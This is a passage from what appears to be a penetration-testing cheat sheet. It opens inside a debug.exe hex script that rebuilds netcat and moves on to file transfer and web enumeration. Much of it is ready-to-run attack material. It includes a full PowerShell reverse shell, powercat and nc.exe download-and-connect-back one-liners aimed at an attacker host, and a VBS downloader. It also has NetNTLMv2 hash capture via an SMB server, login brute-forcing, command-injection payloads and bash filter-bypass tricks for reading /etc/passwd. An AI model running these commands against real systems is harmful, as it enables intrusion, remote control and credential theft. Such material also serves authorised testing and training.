d9 8d be 00 20 01 00 8b 07 09 c0 74 45 8b 5f 04 8d 84 30 00 40 01 00 01 f3 50 83 c7 08 ff 96 3c 40 01 00 95 8a 07 47 08 c0 74 dc 89 f9 79 07 0f b7 07 47 50 47 b9 57 48 f2 ae 55 ff 96 40 40 01 00 09 c0 74 07 89 03 83 c3 04 eb >>123.hex echo e 7000 >>123.hex echo d8 ff 96 50 40 01 00 8b ae 44 40 01 00 8d be 00 f0 ff ff bb 00 10 00 00 50 54 6a 04 53 57 ff d5 8d 87 9f 01 00 00 80 20 7f 80 60 28 7f 58 50 54 50 53 57 ff d5 58 61 8d 44 24 80 6a 00 39 c4 75 fa 83 ec 80 e9 b7 fe fe ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 7080 >>123.hex echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 7100 >>123.hex echo 00 00 00 00 00 00 00 00 00 00 00 00 60 50 01 00 3c 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 6d 50 01 00 58 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 50 01 00 86 50 01 00 96 50 01 00 a6 50 01 00 b4 50 01 00 c2 50 01 00 00 00 00 00 13 00 00 80 00 00 00 00 4b 45 52 4e 45 4c 33 32 2e 44 4c 4c 00 57 53 4f 43 4b 33 32 2e 64 6c 6c 00 00 4c 6f 61 64 4c 69 >>123.hex echo e 7180 >>123.hex echo 62 72 61 72 79 41 00 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 00 56 69 72 74 75 61 6c 46 72 65 65 00 00 00 45 78 69 74 50 72 6f 63 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 7200 >>123.hex echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 7280 >>123.hex echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>123.hex echo e 7300 >>123.hex echo >>123.hex echo r cx >>123.hex echo 7200 >>123.hex echo w >>123.hex echo q >>123.hex debug<123.hex copy 1.dll nc.exe ``` {% hint style="info" %} make sure to start the FTP service on your kali\ service pure-ftpd start {% endhint %} ### Echo up ### Bounce port scanning ``` nc $ip 21 220 Femitter FTP Server ready. USER anonymous 331 Password required for anonymous. PASS foo 230 User anonymous logged in. PORT 127,0,0,1,0,80 200 Port command successful. LIST ``` ### Nice trick to share folders with RDP: ``` rdesktop (ip) -r disk:share=/home/bayo/store ``` ### With Powershell: ``` powershell -c "(new-object System.Net.WebClient).DownloadFile('http://YOURIP:8000/afile.exe','C:\Users\YOURUSER\Desktop\afile.exe')" ``` ```csharp powershell -c "$client = New-Object System.Net.Sockets.TCPClient('$ip',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII ).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c lient.Close() ``` ### Powercat ```csharp apt install powercat ``` Installs to /usr/share/windows-resources/powercat ```csharp powercat -c $ip -p 443 -e cmd.exe ``` ### wget Paste the following block in a command line to get a web client: ```csharp echo strUrl = WScript.Arguments.Item(0) > wget.vbs ``` ``` echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET",strURL,False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` #### Run with: ``` cscript wget.vbs http:///nc.exe nc.exe ``` ### HTTP: Powershell ```csharp powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" } powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" } powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe'); # download using default proxy credentials and launch powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" } ``` ## SMB ### **Impacket SMBServer** [Impacket](https://github.com/SecureAuthCorp/impacket) is my preferred method of setting up a file transfer over `SMB` because it does not run in the background or involve modifying configuration files. We can use [smbserver.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py) specifically. If other people attempt to connect to the service, it has the bonus that it will display a NetNTLMv2 hash that, if successfully cracked, will reveal the password. ### **Impacket SMBServer - Syntax** ``` rowbot@htb[/htb]$ /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support ``` It is essential always to have a separate order for file transfers to prevent unauthorized persons from gaining access to our local data. For example, if we would use our home directory to transfer the desired data and an unauthorized person accesses it, he will be able to navigate to the ".ssh" directory and find the SSH keys, which can be used against us. We can set up an `SMB` share on our Pwnbox called "FileTransfer", but we create our folder for it before. Now we can share our current working directory. ``` rowbot@htb[/htb]$ mkdir Transfers && cd Transfers rowbot@htb[/htb]$ /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support FileTransfer $(pwd) ``` To verify the share was created and accessible, we can run: ``` rowbot@htb[/htb]$ sudo smbclient -L 127.0.0.1 Enter WORKGROUP\root's password: Sharename Type Comment --------- ---- ------- IPC$ Disk FileTransfer Disk SMB1 disabled -- no workgroup available ``` Going to our `Impacket` terminal, we can see the connection and if we had not known the user's password before. We could use the line under "Authenticated Successfully" to `Hashcat` and attempt to crack it. ### **Impacket SMBServer - Listening** ``` [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (127.0.0.1,38928) [*] AUTHENTICATE_MESSAGE (WORKGROUP\root,PARROT) [*] User PARROT\root authenticated successfully [*] root::WORKGROUP:4141414141414141:926ebbd136be706117721fbcad821410:01010000000000008039147afabcd601a3099ada8208fd2c00000000010010004a006e00640046006700460075007000030010004a006e0064004600670046007500700002001000640062005a0054005300490054004b0004001000640062005a0054005300490054004b00070008008039147afabcd6010600040002000000080030003000000000000000000000000000000054af210c79b6f4bd986d404d7769e730cecdf6b2feec6c6d5cd8a765d98034bb0a0010000000000000000000000000000000000009001c0063006900660073002f003100320037002e0030002e0030002e00310000000000 [*] Connecting Share(1:IPC$) [*] NetrShareEnum Level: 1 [*] Disconnecting Share(1:IPC$) [*] Closing down connection (127.0.0.1,38928) [*] Remaining connections [] ``` In some cases, computers will not allow anonymous `SMB` connections. In this case, we may want to use the user/password flags to allow authentication on our `SMB` server. This can be done with the following command: ``` rowbot@htb[/htb]$ /usr/share/doc/python3-impacket/examples/smbserver.py -user USERNAME -password PASSWORD FileTransfer $(pwd) ``` # Web ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MJOTqJ9Kdy3dIFdYcWY%2F-MJOTysqaRR8JH_lJByq%2FWeb%20Enumeration_OffSecNewbie.com.png?alt=media\&token=6649d0e1-b5b5-4f44-b508-f06463fdf05f) ## Reconnaissance {% content-ref url="/pages/-LT7oUflZAPxMeeMH5L1" %} [Tools](/test-group/automated-tools) {% endcontent-ref %} ## HTTPS If you get a certificate redirecting you to 443/https check for alt names ![add these to /etc/hosts file](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LmAPTQFRFuYL8Au2w4o%2F-LmAPwWxje2lAdcsinij%2Fimage.png?alt=media\&token=b012c5e8-64bb-4e2b-9c5d-3890938fde97) ``` nikto -h $ip nikto -h $ip -p 80,8080,1234 #test different ports with one scan ``` ``` -Tuning Options 0 – File Upload 1 – Interesting File / Seen in logs 2 – Misconfiguration / Default File 3 – Information Disclosure 4 – Injection (XSS/Script/HTML) 5 – Remote File Retrieval – Inside Web Root 6 – Denial of Service 7 – Remote File Retrieval – Server Wide 8 – Command Execution / Remote Shell 9 – SQL Injection a – Authentication Bypass b – Software Identification c – Remote Source Inclusion x – Reverse Tuning Options (i.e., include all except specified) ``` ``` wget https://raw.githubusercontent.com/danielmiessler/RobotsDisallowed/master/top10000.txt; gobuster dir -u http://$ip -w top10000.txt ``` {% hint style="info" %} use a few different files, check seclists for web discovery {% endhint %} ``` wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200 http://$ip/FUZZ ``` {% hint style="info" %} It is worth scanning using a good number of word lists as well as scanning the directories recursively - which takes time. \ \ Its good to refer back to your findings when you're stuck. It may help you find where shells have been uploaded to. {% endhint %} ``` https://github.com/PinkP4nther #follow guide, might have to run these commands if guide doesnt work then re run guideapt install cargo, apt install pkg-config ./erodir -u http:/$ip -e /usr/share/wordlists/dirb/common.txt -t 20 ``` ``` gobuster dir -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -o gobuster-root -t 50 ``` #### Gobuster ing a site with an auth - 401 ``` gobuster dir -u http://$ip/authlogin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -U usernamehere -P passwordhere -t 100 ``` {% hint style="warning" %} If Gobuster throws back lots of pages that you know are not valid. The webpage is likely filtering the requests by USER AGENT. Its checking the user agent of gobuster and telling it to respond to all requests as valid. Use the -a flag on Gobuster to set the USER AGENT. {% endhint %} {% hint style="info" %} works recursively {% endhint %} ``` cd /root/dirsearch; python3 dirsearch.py -u http://$ip/ -r -e .php ``` #### If really stuck run this ``` for file in $(ls /usr/share/seclists/Discovery/Web-Content); do gobuster -u http://$ip/ -w /usr/share/seclists/Discovery/Web-Content/$file -e -k -l -s "200,204,301,302,307" -t 20 ; done ``` #### Banner grabbing ``` ./whatweb $ip # identifies all known services ``` #### Methods testing ``` nmap --script http-methods --script-args http-methods.url-path='/test' $ip ``` #### Brute Forcing authentication ``` hydra 10.0.0.1 http-post-form "/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid" -P /usr/share/wordlists/rockyou.txt -l admin ``` #### Vulnerability scanning: ``` nmap --script=http-vuln* $ip ``` #### Test against SQLI ``` sqlmap -u "http://$ip/?query" --data="user=foo&pass=bar&submit=Login" --level=5 --risk=3 --dbms=mysql ``` #### Coldfusion vulnerability scanning ``` nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip ``` If you can **register yourself** on the site like a normal users - do this. There maybe an upload feature of the site which you can take advantage of. ### Backup files search {% embed url="" %} ``` ./bfac --url http://$ip/ --level 4 ``` ### WebDav {% hint style="info" %} if you manage to download a backup file. Grep for users - as there might be a password beside the username. Ie logging into a database which you can copy and use to log in to ssh. {% endhint %} Test for it ``` davtest -move -sendbd auto -url http://$ip:8080/webdav/ ``` ``` cadaver http://$ip:8080/webdav/ ``` ## DNS Enumeration ``` host -t ns $website #gets nameservers host -t mx $website #gets mail servers ``` ### Forward DNS Lookup Bruteforce {% hint style="info" %} guess valid names of servers by attempting to resolve a given name {% endhint %} Get possible IP range from above to discover more hostnames and ip addresses belonging to $website using below ``` for i in $(cat /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100K.txt); do host $i.$website | grep "has address" | cut -d" " -f1 ;done ``` ### Reverse DNS Lookup Bruteforce {% hint style="info" %} might find missing domain names in the forward lookup by probing the IP address range. {% endhint %} ``` for ip in $(seq 1 10); do host $199.199.199.$ip > network.txt; cat network.txt | grep "$website" | cut -d" " -f5; done #need to change some variables ``` ### DNS Zone Transfer {% hint style="info" %} Like a database replication act between dns servers. \ Should be limited to authorised secondary dns servers - misconfigured will allow zone transfer! \ Can give complete map of internal and external network structure {% endhint %} ``` #!/bin/bash #identifies name servers and attempts zone transfer on each of them if [ -z "$1" ]; then echo "[*] Zone Transfer Script" echo "[*] Usage: $0 " exit 0 fi for server in $(host -t ns $1 | cut -d" " -f4);do host -l $1 $server | grep "has address" done ``` ``` test using ./$scriptname zonetransfer.me ``` ``` dnsrecon -d $website -t axfr ``` Is target protected by WAF?\ may stop responding if probed too hard * Map the attack surface * Find subdomains, Ip blocks, email addresses, the harvester is a nice tool. I.e: **python theHarvester.py -d example.org -n -c -t -b google** * There is a nice collection of OSINT tools at **** feed the harvester results there and recurse. * Find services, Banners and versions. Research CVEs and **exploit-db** for those. * Find newest features, and forgotten endpoints at **** * Check **robots.txt** **crossdomain.xml** and **clientaccesspolicy.xml** * Find hosts: ``` dig $website a; @8.8.8.8 # types: a, mx, ns, soa, srv, txt, axfr ``` ``` dig -x $website # reverse lookup ``` * Google **site:** to find information leakage * Map their infrastructure: middleware, programming languages, backends, services. This can help **** * Find hidden folders, files. Nice list for fuzzing content discovery: **** ``` dirb http://target wordlists/dirb/common.txt ``` ``` nikto -host http://target ``` * Spider/map all the functionalities of the application, discover hidden & default content, doing automated and manual crawling. * Identify data entry points, technologies used. What does the application do? How does it do it? Map attack surface, dangerous functionalities, how they are implemented. Versions of the libraries, frameworks and known CVEs. * Read the client code of the web app, what javascript libraries it use, code looks messy?, sinks, etc * Check comments in source of all pages * Generate an error page, sometimes vulnerable to XSS. * * Identify all parameters. Document which parameters are used for **GET** and **POST**. * Identify where cookies are set, modified or added to. * Note any strange headers ``` ./whatweb $website ``` ``` dirb https://$website /usr/share/wordlists/dirb/common.txt ``` * Use Shodan for finding similar apps and endpoints, SSH hash keys * Find previous vulnerabilities of the web site. Recon-ng is a useful tool; **use recon/domains-vulnerabilities/xssposed; set source example.org; run** * RTFM - Read the manual for the application you are testing, does it have a dev mode? is there a **DEBUG=TRUE** flag that can be flipped to see more? * Look for where you can put data, is it an API? Is there a paywall or sign up? Is it purely unauthenticated? * Look at the application from a bad guy perspective, what does it do? what is the most valuable part? Some applications will value things more than others, for example a premium website might be more concerned about users being able to bypass the pay wall than they are of say cross-site scripting. * Look at the application logic too, how is business conducted? * If testing a bug bounty, look for new acquisition, code from new team, new mobile apps versions, new UI in web, new features. ## Extensions List ``` .asp .aspx .bat .c .cfm .cgi .css .com .config .dll .exe .htaccess .htm .html .inc .jhtml .js .jsa .jsp .log .mdb .nsf .pcap .phar .php .php2 .php3 .php4 .php5 .php6 .php7 .phps .phpt .pht .phtml .pl .reg .sh .shtml .sql .swf .txt .xml ``` ## Testing input validation * Append **.old** or **.bak** to files * Run automated scanning against web app, Burp, nikto and dirb. * Use wpscan to assess wordpress plugins * Use cmsmap for durpal and joomla known bugs * Flashbang to decode swf files, online tool * Find parameters being **reflected** and test for: **XSS**, **HPP**, **link manipulation**, **template injection**. * Test server side issues (error-based, blind, outband, stored, different context(numeric, single and double quoted)) such as: **SQL injection**, **Server-side include**, **OS command injection**, **path traversal**, **file inclusion**both local and remote, **SMTP injection**, **SOAP injection** get the application to respond to SOAP, this ties into XXE attacks too. **LDAP injection**, **XPath injection**, **code injection**, **deserialization** attacks, **overflow** attacks. * A parameter looks like a file? Test **path traversal**, **RFI**, **LFI** * A parameter looks like a URL? Test **open redirection** **SSRF** * http\://$ip/s3cr3tscr4per.php?command= * Parsing of XML, JSON, or any other markup language that the application processes. Test for **injection attacks**, **SSRF**, **xpath**, **XXE**, **insecure object de-references**. * Look for parameters encoded in base64 or others, test again for injection attacks and insecure object de-references. * Check for DOM-based attacks - open redirection, cross site scripting, client side validation. * File uploads. SVG can have embedded XML that triggers SSRF, XXE. * If user has profile and avatar, upload a malicious SVG with script. ## Server issues * Script to request every https request to http * Test **header injection** * Test HTTP Options, use arbitrary method names to attempt to bypass authentication pages * Test any client side applet such as flash, activex and silverlight. * For file uploads functionalities, look for reflected file download. Uploading files with double extensions (.php5.jpeg) and using a null byte (.php5%00.jpeg) * Ensure anti-CSRF mitigations are in place for main functionalities and clickjacking mitigations. * If there is a binary, and runs as root, it should use https only and verify checksum or singed check with public key * Captcha bypassing * Check for frame injection, frame busting(can still be an issue) * Caching poisoning issues * Sensitive data in URL parameters * Follow up any information leakage * Look at numeric IDs, they can tell you much many orders, users etc. Looked for hashed numeric ids * Look swf they are always vulnerable * Check for weak SSL ciphers * Test **CORS policy**. if CORS or crosssdomain.xml allow subdomain, you can trick a user into doing XSS to that page by injecting an iframe to all web pages he visits to a subdomain i.e. sub.vulnerable.com, intercepting all requests for that host and returning html that will issue a cross domain request to vulnerable.es and display it to the UI. * Verify Content Security Policy (CSP). Look for bypasses * Verify HTTP Strict Transport Security (HSTS) * Verify X-XSS-Protection * Verify X-Content-Type-Options * Verify HTTP Public Key Pinning ## Testing authentication * Burp extension to see what users can see (authorization) * basic auth brute force: ``` nmap -d -vv -p 80 --script http-brute --script-args http-brute.path=/ $website ``` * Password quality rules, length, character set allowed (alphanumeric, upper/lower case and special characters). Empty Password? Empty username? 123456? * Test username enumeration * Test account recovery functionality, look for SMTP header injection. * Does remember me expires? * Test removing your email address from your account, add a new one, make sure that the old one can not be used to recover password/log in. * Delete an account without entering password or other sensitive operations, in case you forgot your computer logged in. * Password bruteforcing resilience. Application locks after some attempts? * Rate limiting in change password functionality, forgot to log out in a cyber cafe, brute force the actual password using this feature. Does the application lock out an account after x number of login attempts? * Email verification links through http * Cookies: scope, httponly, secure flag. * Broken OAuth authentication, make sure ID tokens generated by google or third party are properly validated on the backend. **** * Other strange access control methods such as referral validation (which can be bypassed ****) * Does the remember me function ever expire? Is there room for exploit-ability in cookies combined with other attacks? * Test username uniqueness * How are logins processed, are they sent over http? Are details sent in a POST request or are they included in the URL(this is bad if they are, especially passwords)? * Test NULL **%00** characters in the username and password fields. * Test for fail-open conditions. Fail-open authentication is the situation when the user authentication fails but results in providing open access to authenticated and secure sections of the web application to the end user. * Cookie poisoning. Try requesting the cookie names in the query string and body, some servers might read the parameters and set them as cookies. This can allow cookie poisoning. * Set new password with old password ## Testing session management * How well are sessions handled, is there a randomness to the session cookie? Are sessions killed in a reasonable time or do they last forever? Does the app allow multiple logins from the same user(is this significant to the app?). * Test tokens for meaning * Are tokens generated predictable or do they provide a sufficiently random value, tools to help with this are Burp Suite's sequencer tool. * Check for insecure transmission of tokens Can they be accessed by JavaScript? Is this an Issue? * Check for disclosure of tokens in logs. Are they cached server side? Can you view this? Can you pollute logs by setting custom tokens? * Check mapping of tokens to sessions. Is a token tied to a session, or can it be re-used across sessions? * Check session termination * Check for session fixation * Can an attacker hijack a user's session using the session token/cookie? * Check for XSRF * Can authenticated actions be performed within the context of the application from other websites? * Check cookie scope. Is the cookie scoped to the current domain or can it be stolen, what are the flags set? is it missing secure or http-only? This can be tested by trapping the request in burp and looking at the cookie. * Understand the access control requirements. How do you authenticate to the application, could there be any flaws here? * Test effectiveness of controls, using multiple accounts if possible * Test for insecure access control methods (request parameters, Referrer header, etc) PUT Method ``` nmap --script=http-put --script-args http-put.url='/rowbot/shell.php',http-put.file='shell.php' $ip ``` * Persistent cookies * Session tokens strength * Authorization properly enforced ## Testing business logic * I do this step last, as it is when I am more familiar with the application and more likely to identify these issues. * Identify the logic attack surface * What does the application do, what is the most value, what would an attacker want to access? * Test transmission of data via the client * Is there a desktop application or mobile application, does the protocols used vary between this and the web application * Test for reliance on client-side input validation * Does the application attempt to base it's logic on the client side, for example do forms have a maximum length client side that can be edited with the browser that are simply accepted as true? * Test any thick-client components (Java, ActiveX, Flash) * Does the application utilize something like Java, Flash, ActiveX or silverlight? can you download the applet and reverse engineer it? * Test multi-stage processes for logic flaws. Can you go from placing an order straight to delivery thus bypassing payment? or a similar process? ## Cache attacks * Poisoning (if only path is validated you can submit malicious queries/headers) and cache bad results * Race conditions: buy twice, get someone else's data * If header injection: Inject a new response, the cache might store the attacker-controllable one * Using multiple host headers or X-Forwarded-Host might cause the cache to load the attacker's site and serve it. Or the links to be written relative to the attackers host. * **Dns cache poisoning**: The attacker creates a fake response to the DNS server that is cached, all users will get the wrong response until TTL. * **Side-channel attacks** They exploit timing/energy consumption/noises/electromagnetic leaks rather than a direct weakness in the system. * **Offline Web Application Cache Poisoning** The attacker loads an iframe of victim who uses wifi. The iframe points to facebook.com but caches the phishing site for a few days. When the user logs in at home it opens the cached poisoned site. ## Links Search for links on the webpages. These can give you ways to get LFI eg ``` https://github.com/GerbenJavado/LinkFinder ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LvQ3FCuC-4z8AEnPuvY%2F-LvQ3ISOruMkx5uHp-3a%2Fimage.png?alt=media\&token=a73d2da1-5045-48a4-9a9f-8cb471c7b25d) ## Others ### Testing wordpress sites ``` wpscan --url http://$ip/ --enumerate ap,at,tt,cb,dbe,u,m #aggressive scan really checks for plugins - worth doing if nothing else comes up! wpscan -e --enumerate ap --plugins-detection aggressive --url $ip #check for pages wfuzz -c -z range,1-1000 --sc 200 "http://$ip/?p=FUZZ" #check for attachments wfuzz -c -z range,1-1000 --sc 200 "http://$ip/?attachment_id=FUZZ" ``` ### Quick wordpress bruteforce: ``` python patator.py http_fuzz url=http://$ip/wp-login.php raw_request=rawlogin 0=/usr/share/rockyou.txt -l /tmp/login &; tail -f /tmp/login | grep 302 ``` ### Fingerprint application ``` clusterd --fingerprint -i $ip BlindElephant.py $ip ``` ### Request site with specific cipher ``` curl --ciphers ECDHE-RSA-AES256-SHA https://$ip ``` ### Deobfuscate JS ``` JStillery, JSNice https://beautifier.io/ ``` ## OAuth2 * Allows a server to authenticate a user without any password. The app uses a service provider to authenticate users. * Authentication flow: * User clicks login with Facebook. * User gets redirected to Facebook **facebook.com/oauth?redirect\_uri=target.com%2fcallback\&state=xyz** * If the login is successful, he will be redirected to target.com * browser makes a request to including the state value * Client should validate the state value to prevent csrf. * Pitfalls: * CSRF: use the redirect URL that contains the authorisation code and make a victim visit it * Open redir: attacker constructs and authorisation request URL for provider site with redirect\_uri set to attacker.com, when user gets redirected attacker can read authorisation code * Access token reuse: evil consumer site can authorise victim in provider site using access token, attacker uses the token to impersonate ## DNS Rebinding * Attacker controls the authoritative nameserver for attacker.com * User visits attacker.com * NS responds with A record with the attacker.com IP, and short TTL * The browser fetches a resource, i.e. **/secrets** * The DNS response has expired, now the DNS server responds with victim.com IP. * The browser will fetch **victim.com/secrets** in the attacker.com origin. * Attacker can return a CNAME entry to brute force internal host names ## Cross domain requests * Browser will do GET requests and POST that has standard content-type * Otherwise, the browser will do an OPTIONS request and check the CORS headers ## Command Injection on web forms ``` https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits ``` Some php forms have limited blacklisting. It's important to check. It might be possible inject commands into it. ``` ; whoami ;whoami & whoami | whoami |whoami ``` If you trying to read a file and `cat` is disallowed use another program to read files like `less` or `more` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12FfLGcf3_o1bl3Wg1%2Fimage.png?alt=media\&token=92102fc3-6f05-4793-b17a-2d2791dc0fc6) ![no sanitisation](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12K4GoXabyy1OZW6SI%2Fimage.png?alt=media\&token=78eeafac-8472-4c39-a0b2-584cc91f2fb8) ### No sanitisation of user input If there is no sanitisation a simple `;` or `&` will concatenate commands together ``` ; whoami ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12G3TENshSqAGlueu2%2Fimage.png?alt=media\&token=e0d48644-99e5-45b4-88cb-83ad37949d8d) ### Some sanitisation of user input ![some blacklisted characters](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12KJCd5YNNoT6Ehdhd%2Fimage.png?alt=media\&token=92933cb4-9d14-448c-b080-4e74a01fc79a) To get around the above blacklist try a pipe command ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12HKHAwPjcmGMQNQCh%2Fimage.png?alt=media\&token=2668b338-0437-4206-8f51-29ae67bf1f51) ### More sanitisation of user input ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12Kdu1_RNT2R1-bzNw%2Fimage.png?alt=media\&token=403e77fd-a942-45b8-8749-bb3e57ed9fa6) Highlighted above is a mistake. The pipe symbol AND a space are filtered allowing the below command to work ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12HzxOCUJ3e-uTYo--%2Fimage.png?alt=media\&token=47c11a04-71dc-480f-aba8-fcc1f5a34a75) ### Proper sanitisation of user input ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M12F5cQmW3_3ruCt_CX%2F-M12L5l2hvvQwAZ2PxQz%2Fimage.png?alt=media\&token=afa58970-e2fd-459e-84e9-a2107382937b) ## Bypass Bash Restrictions ### Bypass Paths and forbidden commands ``` #Bash substitudes * fror any possible chat that refers to a binary in the folder /usr/bin/p?ng #This equals /usr/bin/ping #Bash substitudes * fror any compatible combination with a binary in the folder /usr/bin/who*mi #This equals /usr/bin/whoami #[chars] /usr/bin/n[c] #/usr/bin/nc #Concatenation 'p'i'n'g #Equals to call ping "w"h"o"a"m"i \u\n\a\m\e \-\a #Uninitialized variables: A uninitialized variable equals to null (nothing) p${u}i${u}n${u}g #Equals to ping, use {} to put the uninitialized variables between valid characteres cat$u /etc$u/passwd$u #Use the uninitilized variable without {} before any symbol #Fake commands 